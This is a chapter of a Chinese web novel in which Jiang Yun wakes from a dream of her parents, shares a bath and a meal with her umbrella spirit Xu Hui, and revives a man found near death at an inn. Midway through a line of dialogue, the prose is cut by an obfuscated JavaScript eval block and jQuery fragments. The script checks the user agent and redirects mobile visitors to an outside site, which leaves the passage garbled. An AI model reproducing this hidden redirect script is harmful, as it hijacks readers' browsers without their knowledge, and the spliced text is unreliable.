101. 棺材惊魂案十五

作品:《执伞:姜娘子又被扣生命值

    “小水,小水?睁眼快睁眼~”


    “你怎么猴急猴急的,孩子刚出生,哪里一出生就会睁眼的,来让我抱抱。”


    “你看小水长得多像你我呀,姜水姜水,孩子这名字取得有出息!”


    “你这是在夸孩子呢,还是在夸你自己名字取得好?”


    “当然是夸孩子了!我们华夏区那可是源于上古炎黄一脉,我可查过了,姜姓最早就源于神农帝,姜水这个名字可是我查遍资料所得!我们孩子呀日后定能扬名立万!”


    “什么扬名立万的,我只要我的小水可以平安顺遂幸福的度过一生,别重蹈她父母的老路。”


    “华儿,你安心,我们这就带孩子离开,不让她落入生命保护组织的手里……”


    “恭喜两位专员喜得女儿。”病房门被打开时,走进四五个身着制服,手持武器的探员。


    叶华抱紧手中孩子,目光警惕地看着来人,姜聿挡在母女二人身前,手持长剑,剑身红光乍现。


    探员们有所忌惮,却仍旧不依不饶,劝说道:“姜专员,你应该明白,组织这么做是为了保护生命,你也知道新生儿的稀缺性,更何况,华夏区的孩子生来体弱,外界的环境根本不利于孩子的存活,主星此举也是为了你们考虑……”


    “少废话!你们难道真的是为了保护生命?今天我在这儿,谁也别想带走我的女儿!”


    “哎,既然如此,那就得罪了……”


    “不要!”


    姜妘从梦中惊醒时,混沌神色之中,慢慢汇聚的,是一张再熟悉不过的脸。


    那张脸近在咫尺,正担忧地问她:“小水,你怎么了?什么不要?可是还有哪里不舒服?”


    是,须回。


    姜妘警惕的神色逐渐退却,心底总算放松下来。


    “我没事,就是梦到父亲和母亲了。对了,我们这是在哪儿?”


    她说着便要站起身来,却不料才有个动作,便被眼前之人生生按了下来。


    姜妘不解地看着他,须回支支吾吾道:“别,别起来,外面,外面冷。”


    “冷?冷吗?”可她不觉着冷啊……


    姜妘从不畏寒,除了强行耗尽生命值,导致寿数濒临零界之点带来的体温骤降……不对,她为了帮助荀令申,的确险些耗尽生命值,那此刻应当是畏寒才对。


    可为何,她不仅觉着不冷,甚至还有些舒服?


    难不成,是须回做了什么?


    思及此,她才恍然发觉,自己竟泡在一个浴桶里,水温热气氤氲,甚是舒适……不,这好像并非重点,重点是,怎么须回也在浴桶里面?


    姜妘瞳目瞬息放大,眼眸上下移动之际,骤然察觉,须回这家伙他怎么……他怎么没穿衣服!


    “你干嘛呢?你怎么没穿衣服就泡在水里?”


    须回脸红了一大片,顿有百口莫辩之感,慌乱解释:“我,我怕你太冷了熬不住,所以才才和你一起泡热水的。”


    言罢还小心翼翼地看了眼姜妘,直到发觉她好像并不生气,顿觉喜笑颜开。


    可他高兴了并无多久,便被姜妘当头一棒。


    脑门上被敲击之时,须回还傻楞楞地笑着。


    姜妘无奈地看着他:“你是不是又去学了什么乱七八糟的知识?是谁告诉你两个人一起泡澡会暖和些的?”


    “是,是老板说得……”


    “老板?”姜妘无语,“你呀定是被她坑了,不过,好像也确实有些舒服,我还真不冷了。”


    须回欢喜极了:“真的吗?让我瞧瞧!”他说着就拽过姜妘的手,果真不再似先前那般寒凉。


    “太好了,果然是有用的,老板说我是神器之灵,书上记载我乃浴火淬炼而成,能治你的体寒之症,老板满嘴跑火车,总算说了句实话!”


    他之欢喜毫不掩饰,就那样明晃晃撞进姜妘眼中,姜妘被他所感染,不自觉眼底泛上笑意来。


    “难得你这么保护你主人我,不过……”姜妘目光一动,猛然瞧见了那水下场景,脸色瞬息一红,慌乱移开。


    “下,下次可不许不穿衣服了,听到没?”


    须回仍旧笑着,笑容缱绻,好似要长在姜妘身上。


    “小水,你没发现,你也没穿衣服吗?”


    “什么?”姜妘近乎木楞地看了眼自己,险些晕了,“须回!你都干了什么!”


    须回却似无辜极了:“这真不怪我啊小水,是你自己难受,把衣服脱了的,我可是阻止了,但耐不住你……”


    话音断了,也足够令人浮想联翩。


    姜妘一个头两个大,只得安慰自己,对面这位虽是男子模样,但其实是个器灵,器灵嘛,不通男女之事,不懂为人之道,原谅他,原凉他……


    姜妘生生给自己说服了:“算了,你也是为了救我……”


    话音未落,只见眼前那人扯过了一件衣裳,于水中包裹在她身上。


    姜妘还未搞懂其中状况,就听须回低迷着话音,似有愧疚:“对不起小水,都怪我太没用了,害得你被规则所控,三番五次差点丢了性命。”


    他这番模样,更显楚楚可怜,像是湿了水的小猫般,姜妘瞬间就心软了。


    “你说你没事学什么自我反思?我还轮得到你保护?放心吧,我能护好我自己的,不过有句话你启发了我。”


    “什么?”


    姜妘忽得欺身向前,竟双手环抱住须回腰间,靠在其脖颈处,低声轻语。


    须回浑身一颤,僵直着身子丝毫不敢动半分。


    他脑子里万般迷糊,甚至都闪过了一些不敢想,却又控制不住肖像之画面。


    只听得姜妘轻声低语道:“我们应该直接造反……”


    违禁词警告!违禁词警告!


    “……”一人一伞瞧着眼前闪过的画面,愣住了。


    这什么奇怪的程序吗?为何一个几千年前的规则,还有“违禁词警告”这般的东西?


    太不可思议了吧?


    “看来是不能揭竿而起了……”姜妘颇为惋惜。


    她方一放手,却被须回一把又带了回来。


    他紧紧环抱住她,说话间都带着颤音:“小水,我,我喜欢你……”


    姜妘无奈极了:“我也喜欢你,你可是我最亲爱的器灵,乖,我们该去办正事了。”


    “不!不是器灵和主人之间的喜欢,是,是……”


    “是什么?”姜妘不明白。


    “是,是……”


    嘭嘭嘭!


    敲门声响起之际,一人一伞之间暧昧气氛,骤然退散。


    门外店小二大声道:“客官,好酒好菜来了!”


    姜妘率先起身,穿戴好衣裳,方道:“进来吧。”


    店小二推门而入,一窝蜂涌进来五六人,低着头将吃食摆放后,方才恭敬退下。


    一日一夜未曾进食,姜妘倒的确有些饿了,只是这一桌子的美味佳肴,好似太多了些。


    “须回啊,你这是花了你主人我多少银子?这么多吃的,我们两个怕是吃不完吧?”


    “没花多少,都是老板账上支得。”须回穿戴好衣裳,自屏风后头走出,于姜妘身旁坐下。


    他盛了碗苗豆汤,特意往里头多放了些肉片,置于姜妘面前。


    姜妘舀了口尝尝,味道当真美味,便又多吃了几口。


    她道:“老板那铁公鸡,竟也让你支她的帐?该不会你俩做了什么交易没让我知道吧?”


    须回脸色一变,目光躲闪,小心翼翼看了眼姜妘,却见她只低头喝汤,并无异常,这才松了口气。


    “哪能啊,我们出生入死的,她就是良心发现了,而且老板还说了,日后的开销,不想走姜家的话,都可从她那儿预支。”


    姜妘眼眸一亮:“当真?那她可真是太良心发现了。”


    “是啊是啊。”


    一人一伞用着老板的银子,大快朵颐,颇觉着心情舒畅。


    一盏茶后,姜妘又道:“话说你体内四魂突然如此安静,倒出乎意料。”


    “他们被我融合了。”


    “融合了?”姜妘微讶,“什么时候的事?如何融合的?”


    须回亦是一头雾水:“好像,就在老板与天道降下天罚之时,其实有一道雷不小心劈到我身上了,然后我就感觉不到体内其他魂魄的存在,老板告诉我,他们已经被我融合了。”


    姜妘牵过须回的手,指尖搭在他手腕之上,竟能清晰感知心疼之声。


    她满眼诧异:“须回,你居然有心跳了!”


    “心跳?我有心跳了?”须回觉着不可思议极了,他高兴的反握住姜妘的手,“那我是不是,已经变成人了?小水,我是一个人了!”


    姜妘莞尔笑道:“是的,你现在有人的模样,更有人的心跳,我方才测你脉搏,浑身上下之经脉,皆与人族无异,只有一点不同,你毕竟是器灵,并无寿元流逝,也意味着长生。”


    “长生?”须回忽得激动起来,“不不要长生,我要和你同生共死!”


    姜妘被他逗笑了,但心中到底是欣慰的:“好了好了,知道你衷心了。既然融合了也好,他们四人本就已死,魂魄更是相生相克,长此以往相争下去,不仅会彻底消散,还会耗尽你的能量,直至彻底消亡。如今你安全了我也安心,更不会再出现昨日那般情况,我可真是被你吓死了,还以为是君暮出来了,那眼神,跟要吃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881294|176410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了我似得。”


    一忆起昨日,须回那般柔情那般偏执地给她穿鞋,姜妘便一哆嗦。


    好在她眼疾手快,用姜然参透的封魂之法,重新稳住须回体内四魂,否则只怕又要乱套了。


    可她哪里知道,须回心虚得很,毕竟,昨日他根本没有被控制……


    他别过眼神,不敢瞧姜妘,岔开了话题:“那个,你是怎么断定,荀令申就是白骨主人的?”


    姜妘解释道:“起初我也不知道,直到看见他手指关节弯曲的弧度,竟与一截白骨高度相似。不过话又说回来,荀家着实无妄之灾。”


    须回感慨:“竟无人记得他们,记得的也被那古姓外族杀光了,这才是最凄惨最悲哀的。”


    “真相是不会被掩埋的,终将水落石出。”


    “嗯,先不说这个了,怪让人难受的。”须回道,“来尝尝他们这的甜点,据说是黄酒做的。”


    “好。”


    姜妘方尝一口,便听闻外头一阵惊呼。


    二人相视一眼,纷纷起身,默契地推开屋门。


    须回往下望去,问道:“发生何事?”


    那名眼熟的店小二慌乱道:“客官,出人命了!”


    客栈里好端端出了人命,客人都跑了,更有甚者连银子都没付。


    女掌柜拦也拦不住,顿觉倒了八辈子霉。


    官差们还未到,剩余胆大的客人便围在尸首旁,打量着。


    姜妘与须回自也在其列。


    “这不是城西徐老先生家的远房表亲吗?”


    “这位郎君认得此人?”


    “认得,他常去我家买书,好像是个读书人,说自己是北方战乱时逃荒来的,好像叫什么,对了,叫明朝!”


    “明朝?这名字耳熟……”


    “郎君,这就是常去我们酒铺买酒的明小郎君。”小童提醒道。


    “原来是他,本郎君记起来了,太可惜了,年纪轻轻一表人材,怎么就突然横死了。”


    “他还没死。”


    姜妘话语响起之际,众人目光皆往之望去,却只见她不知何时,已然来到“尸首”跟前。


    众人见她蹲下身子,银针封其胸口动脉之处,而后扯开其衣领,只见一条勒痕触目惊心。


    “你们快看!脖子上有伤,是不是被人吊死的?”


    “真的有伤,这到底是谁干的!给人吊死了还要往胸口插一刀,简直丧心病狂!”


    “官府的人怎么还没来!这事必须要查清楚才行,好端端一个小郎君就这么死了,还有没有天理了!”


    他们你一言我一语,讨论得好不热闹。


    姜妘蹙眉,须回像是与她有感应般,沉声道:“诸位,请不要打扰阿姐。”


    几人这才安静下来,眼巴巴望着姜妘,见她不慌不忙,果断拔出那把插入胸口的匕首,吓得大气不敢出。


    片刻后,明朝竟真得回了口气。


    众人欢呼,直言姜妘真乃神医也,唯有一人,似心事重重。


    那人于人群中停留片刻,默默退了出去,悄悄离开了。


    官府之人,依旧未见踪影。


    倒是徐家人,先来了。


    “阿弟啊!你怎么如此傻啊!”一名妇人哭着跑来,眼底红似血。


    明朝仍旧未苏醒,妇人急道:“是这位神医救了我阿弟吧?神医,我阿弟这是怎么了?怎么还没醒,会不会还没脱离生命之危啊?”


    姜妘宽慰道:“他生命无碍,只是可能会一直沉睡,具体什么时候会醒,犹未可知。”


    妇人心底一沉,面色更为泛白,但仍旧强装镇定。


    “能活着就好能活着就好,多谢神医!”


    “谢就不必了,我有件事不明,不知夫人可否替我解惑?”


    妇人道:“神医客气了,您是我徐家的救命恩人,尽管问就是。”


    “好,我想请问夫人,这位明郎君为何会自缢?”


    此言一出,满座哗然。


    “她说什么?自缢?”


    “没错是自缢!”


    “真的假的?为何自缢啊?是上吊吗?”


    妇人更觉晴天霹雳:“阿弟是自缢而亡,阿弟是自缢而亡,阿弟是自缢而亡……”


    她始终重复着这句话,像是陷入了梦魇。


    此刻,一群家丁蜂拥而至,为首的是一名花白了头发的管家。


    管家一声令下,几人抬着自己主子离开了客栈。


    看热闹之人便也匆匆散去。


    掌柜见状,只觉着更倒霉了:“两位客官,可也要走?”


    姜妘道:“嗯,我们也要走了,不过在走之前,想问掌柜娘子三个问题。”